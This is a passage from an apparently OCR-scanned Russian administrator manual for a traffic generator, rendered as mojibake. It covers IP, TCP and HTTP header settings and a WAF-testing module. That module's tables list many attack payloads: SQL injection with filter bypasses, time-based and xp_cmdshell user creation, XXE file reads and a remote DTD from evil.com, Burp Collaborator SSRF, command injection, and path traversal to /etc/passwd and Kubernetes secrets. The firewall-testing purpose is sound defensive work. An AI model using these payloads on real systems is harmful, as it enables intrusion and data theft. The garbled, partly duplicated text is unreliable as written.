gepe3 KOTOpbIE MOXeT TMpOoHTH TakeT | «128»)

JTAHHBIX, PEKIC YeM OH OyAeT OTOPOIICH.

ToS (Type of | DSCP — 310 mone B 3aronoBke [P-makera, | 3amaiite YHUCIIOBOE 3HauYEHUE (o
Service) KOTOpOE HCIONB3yeTCsl sl OmpeAeicHHs | yMmordaHwuio, 3HaueHne DSCP sBnsercs: «7»)

npropuTeTa u 00paboTku Tpaduka

ECN — »T0 MexaHmU3M, KOTOPBIH M03BOJseT | BriOepere 3HaUCHHE U3 CIIHCKA:
MapupyTtuzaropam  yBeAoMisaTh y3iael 0 | 00 (Non-ECT)

neperpyskax B ceTu 0e3 cOpoca makeTosB. 01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

r) TCP 3aronosok (L4) — napamerpsl HacTpoek IP 3aronoskos Ha ypoBHe L4 TPC/IP,

OIMCaHue KOTOPBIX yKa3aHbl B Tabm. 7;

Taba. 7 — Ilapamerpol «TCP 3arosioBok (L4)»

Ha3Banmue Onucanue 3Hauenue
Max. Segment Size | MakcumanpHBINH pa3Mep cerMeHTa | 3afaidiTe YUCIOBOe 3HaueHHe (10
(MaxcumanbHbii PasMep | onpenenser MaKCHUMAaJIbHBIA | YMOJIYaHHIO, 3HayeHue  Max.

CErMeHTa)
00BeM JaHHBIX, KOTOPBIA MOXeT | Segment Size sBisiercs: «1460y)

ObiTh TepemaH B omHom TCP-

CEIMCHTC
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WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCS K MeXaHU3MYy
MacmrabupoBanuss okHa TCP,
KOTOPBIII IO3BOJSIET YBEIHUYUTH
pa3Mep OKHa JUIs YyHpaBJICHUS
MIOTOKOM JaHHBIX.

3agaiiTe 4MCIIOBOE 3HaYeHHE (110
YMOTUYaHHIO, 3Ha4YCHUE WS
ABIISETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM [aHHBIX, KOTOPBIA MOXET
OBITH OTHpaBiIeH 0e3 OXHOaHHA
MOJATBEPIKAEHUS OT MOIydaTes.

3agaiiTe 4yuMciIOBOE 3HaueHHE (I10
yMondaHuto, 3HaueHume Window
Size sBisieTcs: «256»)

n) Ilapamerpsr HTTP - mapamerpsl HacTpoek HTTP 3aronoBkoB Ha ypoBHe L6-L7

TPC/IP, ontucanne KOTOPBIX yKazaHo B Tabin. §;

Taoa. 8 — IMapamerpsl «Ilapamerpst HTTP»

HaszBanue Onucanue 3HauyeHue
HTTPs VYkas3bIBaer, UCIIOJIb3YETCS mu | la / Her (ykaxuTe Tekyllee COCTOSHHE
3alIMIIEHHBIH  MPOTOKOJN  IEepeAavyd | MepekiroyaresieM TyMmoiepa)
nmauaeix HTTPS
Bepcust TLS | Bepcust TLS (Transport Layer Security) | Beidepere 3uauenune TLS v1.2 wnu TLS v1.3
ompeneNnseT TPOTOKON UIM(PpPOBAHUS,
UCTIONB3YeMBI  [UI1  o0ecredeHus
Oe30macHO# Tmepenayn NAaHHBIX MEXITy
KIINEHTOM u cepBepoM
(ITapameTp mOCTyNeEH, €ciu MapameTp
HTTPs BkitoueH)
Bepcus VkasbiBaer Bepcuro npotokona HTTP, | Breibepere 3nauenne HTTP 1.1 wimn HTTP 2.0
HTTP HCIOJIB3YEMYIO JIJIS Iepeaaun JaHHbIX.
User-Agent 3aroji0BOK, KOTOPBIi WACHTUGHUIUPYET | BBeauTe 3HaYEHHE 3ar0JI0BKa:
KIIMEHTCKOE MPHIIOKEHNE  (Hampumep, e [0 YMOJYAHHWIO, 3HAYCHHEM 3aroBOJIKa
6pay3epv) 1 ONEPALUOHHYIO0 CHCTCMY, C spisieres: «Mozilla/5.0 (Windows NT
KOTOpOH OCYHIECTBIIACTCS 3a11poC. 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/133.0.0.0
Safari/537.36»
${userAgent} - ObGecrneuuBaer poramuio User-
Agent: s KaXAOTO 3ampoca  BBIOHpaeTcs
CITy4aifHBIN BaJHUIHBINA BapHaHT U3 CIHCKA B BeO-
uHTepdeiice
IIyts VYka3pBaeT MyTh K 3ampanimBaeMoMmy | Beeawrte 3HaueHwme myTH ([0 YMOJTYaHHIO,
pecypcy Ha cepBepe. Oto yacth URL, | 3HaYeHHe mMyTH SIBJISICTCS KOpPHEBAs IUPEKTOPHS
KOTOpast CJIeyeT 3a IOMCHHBIM UMEHEM. | cepBepa: «/»)
HTTP meton | Meton, wucmoisp3yeMBld Ui 3ampoca | BeiOepeTe w3 CIIeAyIOMIEro CIHCKa:
pecypca Ha cepBepe. e GET
e POST
e PUT
e PATCH
e DELETE
Query [Tapametprl, nepenaBaembie B URL | BBeaure 3HaueHue 1mociie HaKaTUs KHOMKHU
napameTpsl mocJe 3Haka Bompoca (?) «Jlo0aBUTH mapamMeTps»:
e Bsenute cBoe 3HaueHUE
o ${str(length)} - dopmupyer
MPOM3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3aganHoi auHel (pumep: ${str(16)})
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$ {strMinMax(min_length,max_length)}

- dopmupyer MPOU3BOJILHYIO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B
YKa3aHHBIX npenenax (mpumep:
$ {strMinMax(16,24)})

$ {hex(length)} - dopmupyeT
NPOU3BOJIbHYIO KOMOWHAIIHIO CHMBOJIOB
3aIaHHOH [UTMHBI B IIECTHAALATCPHIHOM
dopmare (mpumep: ${hex(16)})

$ {hexMinMax(min_length,max_length)}
- dopmupyet IIPOU3BOJIBHYIO
KOMOHMHAIIHIO CHMBOJIOB B
IIECTHAANATSPUIHOM ¢dopmare B

YKa3aHHBIX npeaenax (mpumep:
$ {hexMinMax(16,24)})

${email} - dopmupyer BanuaHbIH email
CO CIIy4aiHbIM UMEHEM II0JIb30BATeIsl U
JOMEHOM

${login} - dopmupyer BanuaHBIN JOTUH
TI0JIB30BATEIIS

${password}- ®@opmupyeT BaIMIAHBIA
[apoJib MOJTB30BATEIS

Teno 3anpoca

Yacte HTTP-3ampoca, coaepxkamas
JAaHHBIC, KOTOpPHIe KIMEHT OTIIPABIIICT
cepBepy (Hanpumep, hopmy win JSON)
[TapameTp mAOCTymeH eciu BBIOpAHBI
meroasl: POST, PUT unu PATCH

3amnoyIHATE TIOJIE «TEJIO0 3ampoca» CICayromum

obpazom

Beenute 3HaueHUE TENO 3ampoca
${str(length)} - Dopmupyer
HPOU3BOJILHYO KOMOWHAIHIO CHMBOJIOB
3aganHoi auuHel (pumep: ${str(16)})

$ {strMinMax(min_length,max_length)}

- dopmupyer TPOU3BOJIBHYO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B
YKa3aHHBIX npenenax (mpumep:
${strMinMax(16,24)})

${hex(length)} - dopmupyer
NPOU3BOJIHYEO KOMOWHAIMIO CHMBOJIOB
3a/IaHHOM JUTHHBI B IIECTHAAATCPHIHOM
dopmarte (mpumep: ${hex(16)})
${hexMinMax(min_length,max _length)}
- dopmupyer TPOU3BOJIBHYO
KOMOWHALIHIO CHMBOJIOB B
IICCTHAANATCPUIHOM (bopmare B

YKa3aHHBIX npenenax (mpumep:
$ {hexMinMax(16,24)})

${email} - ®opmupyer BanuaHbli email
CO CJIyyaiHBIM MMEHEM II0JIb30BaTelsl U
JIOMEHOM

${login} - ®opmupyeT BamHIHBIN JIOTHH
TIOJIb30BaTeIs

${password}- dopmupyer BaIHIHbIH
MapOJIb TOJIE30BATENS

3arojIoBK1

JlonosiHUTENbHBIE Me€TaJlaHHbIE,
otnpasisiemble BMecte ¢ HTTP-
3aIIPOCOM.

Beenure

«J100aBUTH MapamMeTphi»:

3HAYCHUC TIOCJIC HaXaTusd KHOIIKH

BBGHI/ITG CBO€ 3HAYCHUC

$ {str(length)} - dopmupyeT
MPOU3BOJIbHYI0 KOMOWHAIIUIO CHMBOJIOB
3aganHoi auHel (pumep: ${str(16)})

U3m.
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$ {strMinMax(16,24)})

dopmare (mpumep: ${hex(16)})

KOMOHHALIHIO CHMBOJIOB

$ {hexMinMax(16,24)})

JOMCHOM

IIOJIB30BaTCIIA

apoJjib MOJIb30BaTEIIA

o  ${strMinMax(min_length,max_length)}
- dopmupyer MPOU3BOJILHYIO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B
YKa3aHHBIX npenenax (mpumep:

o  ${hex(length)} - dopmupyer
MPOU3BOIBHYK KOMOWHAIMIO CHMBOJIOB
3aJJAaHHOM JUIMHBI B IIECTHAIIATEPUIHOM

o  ${hexMinMax(min_length,max length)}
- dopmupyet IIPOU3BOJIBHYIO

[IeCTHAIATEPIIHOM tdopmare
YKa3aHHBIX npenenax (mpumep:

e ${email} - Dopmupyer BanuaHbIil email
CO CITy4aifHBIM MMEHEM IOJIb30BaTeIs

e ${login} - ®opmupyeT BaIUIAHBINA JTOTUH

e ${password}- @opmupyer BaIHIHBII

B
B

e) IlapameTpsl ceccuu - mapaMeTphbl, Kacarolluecs yIpaBJICHUs] CECCUIMH B PaAMKax

TEKYIEro IJIaruHa, OMUCaHue KOTOPBIX yKazaHo B Tabmn. 9;

Taba. 9 — [lapamerps! «IlapameTpsl ceccum»

HasBanue Onucanne 3HayeHne
Oomee MaxkcumanbHOEe KOTHYECTBO OJHOBPEMEHHO | 3afaifTe YUCIOBOE 3HAUYCHHE
KOJINYECTBO AKTHBHBIX CECCHH, KOTOpbIE MOTYT OBITh
ceccuit YCTaHOBJIEHBI B paMKaX IUIarvHa.

Taiim-ayT Bpemsi B cexkyHIax, B TE€4EHHE KOTOpPOro | 3ajalTe YMCIOBOE 3HAUECHUE
MIOBTOPHOIO ITepecer-CT Oynet MBITAThCA
MOJKJIFOUEHUS BOCCTAHOBUTb COEAMHEHHE TIIOCIE €ro

paspeiBa. Ecmu coenunenme He Oyzner
BOCCTAaHOBJIEHO B YKa3aHHBIM IIEpPHOL,
ceccust OyeT 3aKphITa.

Ilonkmrouenuii B
CEeKyHLY

MaxkcuManbHOe KOJIMYECTBO HOBBIX CECCHH, | 3amalTe YMCIOBOE 3HAUCHUE
KOTOpBIE MOTYT OBITh YCTAHOBIICHBI 32 OJHY
CeKyHIY.

Makc. cTpumoB
(Ha ceccuro)

MaxkcumanbHO€  KOJIMYECTBO  IOTOKOB | 3afaifTe YUCIOBOE 3HAYCHHE
JTAHHBIX, KOTOPBIC MOTYT OBITh AKTUBHBI B
OJIHOM ceccuu.

[Tapametp JIOCTYTIEH TOJILKO pu
BrioueHnu H2 B «Ilapamerpax HTTP».

Tymbnep  «bes

MakcumManbHasi TPOU3BOIUTENHLHOCTh 03 | BKIIOYMTH/BBIKIIOUNTH

OTpaHUYEHUS OTpaHUYEHUN Ha KOJ-BO OTIPABIISIEMBIX
3aMpocoB B CEKYHAY
3anpocoB B | MakcuManpHOE€  KOJIMYECTBO  3alpOCOB, | 3ajaiiTe YMCIOBOE 3HAUCHHE
CEeKYHJly (Ha | xoTOopele MOTYT OBITH 00paboTaHbl B
Ceccuio) CEKYH/Iy JJIsl OJTHOM CecCUu/CTprMa.

MurepBan mexuny
OTIIPABKOM

3aIpocoB

Omust  TMO3BOJIIET HACTPOUTH 3aJepKKy | 3ajaiTe YMCIOBOE 3HAYCHHE
MEXAy OTHPAaBKOM 3aJlaHHOrO  KOJI-Ba
3aIlpOCOB B CEKYHY.

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT
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K) JIUTEeNbHOCTD - MapamMeTp, OTBEUaloLUil 32 BpeMsl pabOoThHI IUIaruHa, ONMCaHUue

KoTOoporo ykazano B Ta6mn. 10.

Ta6a. 10 — IapameTp «ITUTeILHOCTDY

HazBanmue Onucanmne 3HaueHnmne
JlmuTenpHOCTH Bpewms renepanun Tpaduka 3anaiiTe YMCIIOBOE 3HAUCHHE M BBIOCpETE
TeHepannu BENMUMHY (B CEKyHIaX, MHUHYTaX WIH
yacax)

WAF — mutarus [uist TeHepaluy pa3inyHoro BeO-Tpaduka ¢ 3alaHHBIMU YS3BUMOCTSIMHU.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX TapaMeTPOB:

a) VcrouHuku — BeIOpaHHBIN areHT, nHTepdeiic, ¢ KOTOPOro areHT Oy1eT OTIPABIAThH

Y PUHUMATH TPAPHUK ¥ 0OBEKT OTHPABUTEIND (CM. 3aroJioBOK 5.2.2.1) 11 reHnepanuu Tpaduka;

0) Llemu — BEIOpaHHBIN 0OBEKT MOTyUYaTENb (CM. 3aroJIOBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek [P 3aronoskoB Ha yposue L3 TPC/IP,

oIMcaHue KOTOPbIX yKa3aHbl B Tabn. 11;

Ta6a. 11 — IHapametpsl «IP 3aronosox (L3)»

Ha3Banmue Onucanue 3HaueHune

TTL (Time to [Mapamerp TTL omnpenenser makcumaibHoe | 3ananTe YHCIIOBOE 3HAYCHHE (o

Live) KOJIMYECTBO MapHIPYTHU3aTOpPOB  (XOMOB), | yMonuaHutoo, 3HaueHme TTL sBusercs:
gepe3 KOTOpBIE MOXeT TMpOUTH TakeT | «128»)

JITAaHHBIX, IPEXKIE YeM OH OyAeT OTOpOIIeH.

ToS (Type of
Service)

DSCP — 310 noie B 3aronoBke IP-makera,
KOTOPOE€ UCIIOJIb3YETCS JIJISl OTIpEeACTICHUS
npuopuTeTa 1 00paboTkH Tpaduka

3anaiiTe ynciI0BOE 3HAUECHHUE (110
yMmoruanuio, 3HaueHue DSCP apnsercs:
«T»)

ECN — »T0 MexaHu3M, KOTOPBIH MO3BOJISIET
MapIIpyTH3aTOPaM YBEJIOMIISTH y3JIbl O
neperpys3kax B ceTu 6e3 coOpoca ImakeTos.

Bribepere 3HaueHHNE U3 CIIUCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

r) TCP 3aronosok (L4) — napamerpsl HacTpoek IP 3aronoskos Ha ypoBHe L4 TPC/IP,

olMcaHue KOTOPBIX yKa3aHbl B Ta0bm. 12
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Tabua. 12 — ITapamerpsl «TCP 3aronosok (L4)»

ObITh Tepenan B omgHoM TCP-
CcerMeHTe

Ha3Banmue Onucanmne 3Hauyenue
Max. Segment Size | MakcuMasbHBIH pa3Mep cermenTa | 3alaifTe YHCIOBOC 3HAYCHHE (IIO
(MaxkcumanbHBIH pasMmep | ompenenser MaKCI/IIl/IaHBHLII/I yMoMuaHMio,  3Hauemme  Max.
CerMeHTa) 00BEM TAHHBIX, KOTOPBIH MOXET

Segment Size sBistercst: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOPBIA TO3BOJACT YBEIHYUTH
pasMep OKHa Uil yIpaBICHUS
MIOTOKOM JaHHBIX.

3anmaiiTe YHucIOBOE 3Ha4YeHHE (ITO
YMOJTYaHHIO, 3Ha4YeHUE WS
ABIISETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM IIaHHBIX, KOTOPBIA MOXET
ObITH OTHpaBiieH 0e3 OXKHIAHUS
MIOATBEPKACHUS OT IOJIy4aTes.

3agaiiTe 4uciIOBOe 3HaueHHE (I10
yMoJ4aHuo, 3HaueHue Window
Size sBnsiercs: «256»)

n) Ilapamerpsr HTTP - napamerpst Hactpoek HTTP 3arosnoBkoB Ha ypoHe L6-L7

TPC/IP, onucanue KOTOpBIX yka3aHo B Tabn. 13;

Ta6a. 13 — Ilapamerps! «Ilapamerpsr HTTP»

Ha3panue Onucanue 3HaueHue

HTTPs Yka3pIBaeT, HCHoab3yercs ju 3amumieHHsi | [la / Her (ykaxkure Tekyliee COCTOSHIHE
nportokoi nepenaun ganHbix HTTPS mepeKIrovaTesieM TymOiepa)

Bepcus TLS Bepcuss TLS (Transport Layer Security) | Beibepere 3nauerne TLS v1.2 umu TLS v1.3
OIpeeIsieT IIPOTOKOJI nmdpoBaHus,
HCIIO0Ib3YyEMBbIH JUIs obecrneyeHus
0Oe3omacHOM Tepenayd  JaHHBIX — MEXAY
KIINEHTOM u cepBepoM
(ITapametp noctynes, eciau napamerp HTTPs
BKJTIOYCH)

Bepcus HTTP | YkaspiBaer Bepcuto mnporokona HTTP, | Beibepere 3nauenne HTTP 1.1 wnmm HTTP
HCTIONB3YEMYIO JUTS TIepelavun JaHHBIX. 2.0

User-Agent 3arojioBOK,  KOTOpBIA  HACHTUGHUIMPYET | BBeanTe 3HaYCHME 3ar0JIOBKA!
KIIMEHTCKOE MPUIIOKEHNE (Hampumep, e 10 3HAYCHHEM

Opay3ep) W OINEpaAIMOHHYIO CHCTEMY, C
KOTOPOM OCYIIECTBIISIETCS 3apoc.

YMOITYaHHIO,
3aroBojka sisiasercs: «Mozilla/5.0
(Windows NT 10.0; Win64; x64)
AppleWebKit/537.36  (KHTML,
like Gecko) Chrome/133.0.0.0
Safari/537.36»

o ${userAgent} - OOecrneuynBaer
poTanuto User-Agent: TSt
Ka&XJIOro 3ampoca  BbIOMpaeTcs
CIy4yaiHbl{l BaJIM[HbIM BapuUaHT U3
cIicKa B BeO-uHTEpdetice

e) WAF Moaynu — roToBbie BPEIOHOCHBIE 3aIlPOCHI, COCTOSIINE U3 CIEIYIONINX

BUJIOB TCCTUPOBAHMS:

— basoBoe tectupoBanue WAF, onncanue npuseneHo B Tabn. 14
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Tabu. 14 — Ilapamerpsl «ba3zoBoe TectTupoBanne WAF»

HazBanmne Onucanue 3nayeHue
Broken Access | 3anpoc Ha 3ampemeHnHsli | (GET /admin/delete user?id=1)
Control MyTh
Injection URL (SQLi) | SQL 8 URL ?id=1+union+select+1,2,3--
Egj(gitil;) n JSON | SQL 5 JSON ({*user”: {*$ne”: null}})
Injection (Command) | OS Command (GET /?id=system(cd /var/jet && make &> /dev/null);)
Insecure Desing JSON noruka ({“action”: “makeAdmin”, “user”: “guest”})
Security Misconfig 3ampoc Ha .git (Get /.git/config)
Outdated Components | Ys3Bumsrii uiarua WP GET /wp-

content/plugins/revslider/temp/update extract/revslider/

Auth Failures

C moaaenKkou TOKeHa

(Cookie: auth_token=invalid)

Data Integrity

deiikoBbIit JS

(GET /cdn/js/app.js?v=999999999)

Path Traversal

O6xox daitoB

(GET /?home=/ ./ ../ ./ ./ ./)

SSRE iﬁ‘;,%oc B MEIMANAHKBIC | cc\ 1o hi://169.254.169.254/latest/meta-data/})
XSS: Basic BazoBerit XSS (<script>alert(xss)</script>)
XSS: Obfuscated O6¢ycumpoBannsrit XSS | (<scr<script>ipt>alert(xss)</scr<script>ipt>)

Bypass: SQLi with
URL-encoding

SQLi ¢ URL-3HKOAWHTOM

(q=%27%200R%201 %3D1-)

Evasion: Chunked
Encoding

Chunked Encoding

(Transfer-Encoging: chunked + encoded payloag)

[IponBunytoe TectupoBanue WAF

— SQLi Advanced, onucanue npuseneHo B Tabmn. 15;

I'enepupyer necsatku pasHooOpaszHbix SQL-unbeknuit: ot npocteix UNION SELECT no

o0¢dycrupoBannubix u Oaifmac-arak, Bkmtouas Blind SQLi u Time-based SQLi. Ilposepsier

YCTOMUMBOCTB K CaMbIM M30IIPEHHBIM MOMbITKaM 00xoaa ¢puibsrpammu SQL

Tabu. 15— ITapamerpsl « SQLi Advanced»

HasBanmue

3HaueHmne

Basic UNOIN SELECT

/?1id=1+uniontselect+1,2,3--

Comment-obfuscated UNION

/Nd=1+un/**/ion+se/**lect+1,2,3--

Case-mised UNION

/?1d=1+UnloN/**/SeLecT/**/1,2,3--

Double UNION-SELECT bypass

/?1d=1+UNunionlON+SEselect LECT+1,2,3--

Vertical tab separation

/?id=1+uni%0bon+se%0blect+1,2,3--

Division error + hex payload

/?1d=0+div+1+union%23foo*%2F*bar%0D%0Asele
ct%2300%0D%0A 1%2C2%2Ccurrent_user

Massive hex payload

/?id=1+and+(select%201)=(select%200x4141414141
4144141414141411414141414141414141414141414
1414141414141%E2%80%A6.)+union+select+1,2,v

ersion(),database(),user(),6,7,8,9,10

MySQL table dump

/?id=1  /*lunion select*/ I,table name from
/*linformation_schema.tables*/
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Hex-encoded table

/?id=1  /*lunion select*/ 1,column name from
/*linformation_schema.columns where table name =
0x7573657273%*/

Compact data extraction

/?id=1 /*!lunion select*/ /*luser,password*/ from
[*lusers*®/

XP_CMDSHELL

/?71d=1\"; EXEC master..xp_cmdshell "net user zeq3ul
UrWaFisShiT /add" --

LPAD function'

/id/1/**/||/**/Ipad(first_name,7,1).html

Vertical tab LPAD

/1d/1%0b||%0blpad(first name,7,1).html

Double-encoded UNION

[71d=1%2521%252a*/union%2521%252a/select%252
%252a*/1,2,3%2521%252a*/from%2521%252a*/us
ers--

Current_user

/21d=0%20div%201%20union%?20select%201,2,curr
ent_user

MySQL-specific UNION

/71d=1/*UnloN*/SeLecT+1,2,3--

Concat table names

/?1d=/*UnloN*/+/*!SeLecT*/+1,2,concat(/*!table n
%20ame*/)+FrOm/*!information_schema*/.tables/*!
WhErE*/+/*!TaBIE_sChEMa*/%20+like+database()

Query stacking 1

/?q=select name&q=password from users

Query stacking 2

/?q=select name,password from users

Fragmented query

/?7q=select/*&q="*/name&
amp;q=password/*&q=*/from/*&q="*/users

Version concat

/?7p=-1 union /*!select®/
concat_ws(0x3a,version(),database(),user())

Column enum

/?p=-373867 union select 1,2,column_name,4,5 from
information_schema.columns/*

Full system info

/?7p=-3195 union /*!select®/
0,1,2,3,4,5,6,7,8,9,concat_ ws(0x3a,@@version,user(

),database(),@@version_compile os),11,12,13,14,15

,16,17,18,19,20,21,22,23,24,25--

Subquery

/?2p=( ( SELECT @a ) OR 'b'") --

Function bypass

/2p=( (SELECT 'a' ) OR COS ('b") ) --

Version check

/?p=-1" or 1=@@version --

Char-based version

/2p=3520 AND
char(51,46,50,51,46,53,52))

(version() like

Limit abuse

/?p=1"union (select 's' from users limit 1,1)

Version 2

/?p=-001 union select 1,2,3,4,5,version(),7,8,9,10

System user

/?7p=-1 or 1=(select system_user)--

Char alert /?p=1 union select
1,char(72,97,99,107,101,100,32,98,121,32,91,32,99.9
7,115,104,32,93),3,4,5,6,7/*

Substring /?p=22 AND SUBSTRING((y()),1,1)=x/*

Benchmark /?p="+if(benchmark(3000000,MD5(1)),NULL,NUL
L))%20--

Nested benchmark /?p=)) and 0=benchmark(3000000,MD5(1))%20--

Waitfor delay /?p=),NULL)%20waitfor%20delay%20'0:0:20'%20--

Nested sleep /?p=,(select * from (select(sleep(10)))a)

JSON extract /?7p=-1748  OR  JSON_EXTRACT("{""nCvS"":

99811}", "$.nCvS") =9981%7055
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JSON array /2p=123 AND JSON_ARRAY LENGTH("[]") <=
294

JSON keys /2p=123") OR JSON_KEYS((SELECT
CONVERT((SELECT
CONCAT(0x7162766a71,(SELECT
(ELT(4024=4024,1))),0x7178717a71)) USING

utf8))) AND ("xWuM" LIKE "xWuM

Negative float

/?p="union select -7431.1, name, @aaa from u_base--
W_

Float compare

/?p=or 123.22=123.22

Delay syntax

/?p= waitfor delay '00:00:10'--

Nested sleep 2

/?p=(select(0)from(select(sleep(15)))v)/*'+(select(0)f
rom(select(sleep(15)))v)+'%22+(select(0)from(select
(sleep(15)))v)+%22*/

JSON extract 2 /2p=-1134") OR JSON EXTRACT('{\"\"aKER\"\":
9648}, '$.aKER') = 9648*7799 AND ('QlYa' LIKE
'QlYa

JSON depth /2p=123) AND 12=12 AND JSON_DEPTH('{}') I=
2521

ELT function /2p=123) AND ELT(5287=5287,5480) AND
JSON_ARRAY LENGTH([]) <= 2333

JSON keys 2 /2p=123 AND JSON_KEYS((SELECT
CONVERT((SELECT
CONCAT(0x7162766a71,(SELECT
(ELT(1141=1141,1))),0x7178717a71)) USING
utfy)))

JSON length /2p=123) AND (SELECT 'eNOW')="FsQu' AND

JSON_LENGTH('{}') <= 9779

— XXE Advanced, onucanue npuseaeHo B Tadu. 16

ITpoBepsier ys3Bumoctd B XML-nmapcepax. Mcnomnb3yrorcs araku, CHOCOOHBIE PacKphITh

COACPIKNMOC q)aﬁHOB, WHULUHUPOBATH CETCBBIC IOAKITOYCHUA U 000OUTH OrpaHUYCHUS.

Tada. 16 — Iapamerpsl «XXE Advanced»

Ha3panue 3navenue
External entity file read <?xml version="1.0"?><!DOCTYPE root
[<IENTITY test SYSTEM

"1>&ctest;file:///etc/passwd"™>]><root>&test;</root>

Base64 data scheme attack

<IDOCTYPE test [ <!ENTITY % init SYSTEM
"data://text/plain;base64,ZmlsZTovLy91dGMvcGFzc
3dk"> %init; ><foo/>

Remote DTD inclusion

<?xml version="1.0" encoding="1SO-8859-
1"7><IDOCTYPE foo [<!ELEMENT foo ANY
><IENTITY % XXe SYSTEM

"http://evil.com/secret_pass.txt"
>]><foo>&xxe;</foo>

Collaborator-based SSRF

<IDOCTYPE root [<!ENTITY test SYSTEM
"1>&test;http://h319aaaaz8 1tmqSztaaaaaa.burpcollabo
rator.net"™]><root>&test;</root>
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— Command Injection Advanced, onrcanne npuBeneHo B Taom.

17

HpOBepHCT, MOXHO JIM BBIIIOJIHUTH ITPOU3BOJIBHBIC KOMAaH/IbI OoC 4epe3 nmapaMEeTphl 3almpoca.

Artaku oxBatbiBatOT Kak POSIX, Tak 1 Windows-okpykeHusl.

Ta6u. 17 — IlapameTpsl «Command Injection Advanced»

HaszBanmue 3HavyeHne

SQL-to-OS pivot /?id=10 and 1=0/(select top 1 table name from
information_schema.tables)

Obfuscated SQL-to-OS /?1d=10 a%nd 1=0/(se%lect top 1 ta%ble name
fr%om info%rmation_schema.tables)

XPCMDSHELL User Creation CODEBLOCK?2_|

Direct XPCMDSHELL Call CODEBLOCK3

Bracket Obfuscation /?xp[cmdshell

Basic Command Chaining [?a=; 1s

Newline Injection /?a=%0a Is

Subshell Execution /7a=$(1s)

Single Quote Escape /?a="ls'

Ampersand Separation 7a=& 1s

URL-encoded Ampersand /?2a=%26 1s

Double Ampersand /7a=1 && s

URL-encoded Double Ampersand /?2a=%26%26 ls

Pipe Separation /?a=]Is

Double Pipe /?a=|| Is

Path Fragmentation /?a="/b"I'n/1's'

Backslash Obfuscation /?7a= /b\\in/I\\s

Variable Substitution /?a=cat$a /etc#$a/passwd$a

— File Injection Advanced, onncanue npuseneHo B Tabn. 18

TecTupyeTr BO3MOKHOCTH BHEIpEHUS uepes myTH K daiinam: php://, file://, zip:// n npyrue. Lensb

— HOJYYUTb JOCTYII K KOH(i)I/I)IeHIII/IaIII)HI)IM JaHHBIM MW UCIIOJIHACMBIM @aﬁnaM.

Taba. 18 — [lapameTtpsnl «File Injection Advanced»

HaszBanme

3HaueHnmne

Basic Directory Traversal

/?file=../bla.txt

Encoded Dot-Dot-Slash

/Mile=.%./bla.txt

PHP Filter Exploit via XML Entity

/7a=<!ENTITY %20bin%20PUBLIC%20"php://filter/
read=convert.%20base64-
encode/resource=/path/to/binary/file">

Basic File Protocol

/?p=file=/etc/passwd

File URI Scheme

?p=file:///etc/passwd

PHP Base64 Filter

/?p=php://filter/convert.base64-
encode/resource=../../../../../[etc/passwd

PHP Zlib Compression Filter

/?p=php://filter/zlib.deflate/convert.base64-
encode/resource=/etc/passwd
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Kubernetes Secrets via IPv6 /?p=file://0000::001/var/run/secrets/kubernetes.io/ser
viceaccount

— XML Injection Advanced, onucanue npuseaero B Tabn. 19
AHanm3upyer, Kak cucreMa 00pabaTeIBaeT moyb3oBarenbckue XML-BBOIbI. MOXET IPUBECTH

K OIInOKaM mapCuHra Wi paCKpbITHIO JaHHbIX.

Tabua. 19 — ITapamerpsl «XML Injection Advanced»

HaszBanmue 3HaueHHne

XML Parser Logic Bypass [?test[1=2test --

— Path Traversal Advanced, onucanue npuBeeHO B
Tectupyer 00paboTKy myTel Tuma ../../etc/passwd 1 uX pa3IMuHbIX 00(dycKauii. AKTyanbHO

AJI BBIABJICHUSA JOCTYIIA K 3alUIIEHHBIM CUCTEMHBIM (l)afmaM.

Taoa. 20 — ITapamerpsl «Path Traversal Advanced»

Haspanue 3naveHue

Windows Path /?p=.../../ WINDOWS/win.ini

Null Byte Termination [?p=../..l..]../etc/passwd %00

JPG Null Byte [?p=..l..1..]../etc/passwd%00jpg

Query Param Bypass [?p=../..]../../etc/passwd?

Double Encoding /?7p=%252e%252e%252fetc%252fpasswd

Double Encoded Null [7p=%252e%252e%252fetc%252fpasswd %00

Nested Slashes [?p=..../1..../[etc/passwd

Excessive Slashes Pp=I1111 0  ete/passwd

Backslash Bypass 1?7p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../
%S5C../%5C../%5C../[%5C../etc/passwd

URL Encoded Slash [?7p=..%21..%2f£..%2f..%2 fetc%2 fpasswd

Dot Encoding 1?7p=%2e%2e/%2e%2e/%2e%2e/%2e%2¢e/etc/passwd

Triple Encoding 17p=..%2521..%252f..%252f..%252f..%252 fetc%252f
passwd

Backslash Encoding 1?7p=..%255c..%255¢..%255¢..%255cetc%255cpassw
d

Unicode Bypass 1?7p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%a
fpasswd

Dot Overload 17p=%252e%252€%252e%252e%252¢%?252¢ectcpass
wd'

C1 Byte Bypass 1?7p=..%c1%9c..%c1%9c..%c1%9c..%c1%Icetc%c1
%9cpasswd

— UNC Path Traversal Advanced, onucanue npuseneHo B Ta0.
21
Hcnoneayer mytu Buaa \host\c$\windows\win.ini asi TeCTUpOBaHMS AOCTYyNa K yIAIEHHBIM

HJIN JIOKAJIbHBIM CUCTCMHBIM pECypCaM 4CPE3 HECTAHAAPTHBIC MCTO/IbI.

Jlucm
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BBITIOJIHCHHS IIPOU3BOJIBHOI'O KOJa Ha HEJIEBOM CEPBEPC.

Ta6ua. 21 — ITapamerpsl « UNC Path Traversal Advanced»

HazBanmue

3HaueHnmne

IPv6 UNC Path

/?p=0::001c$windowswin.ini

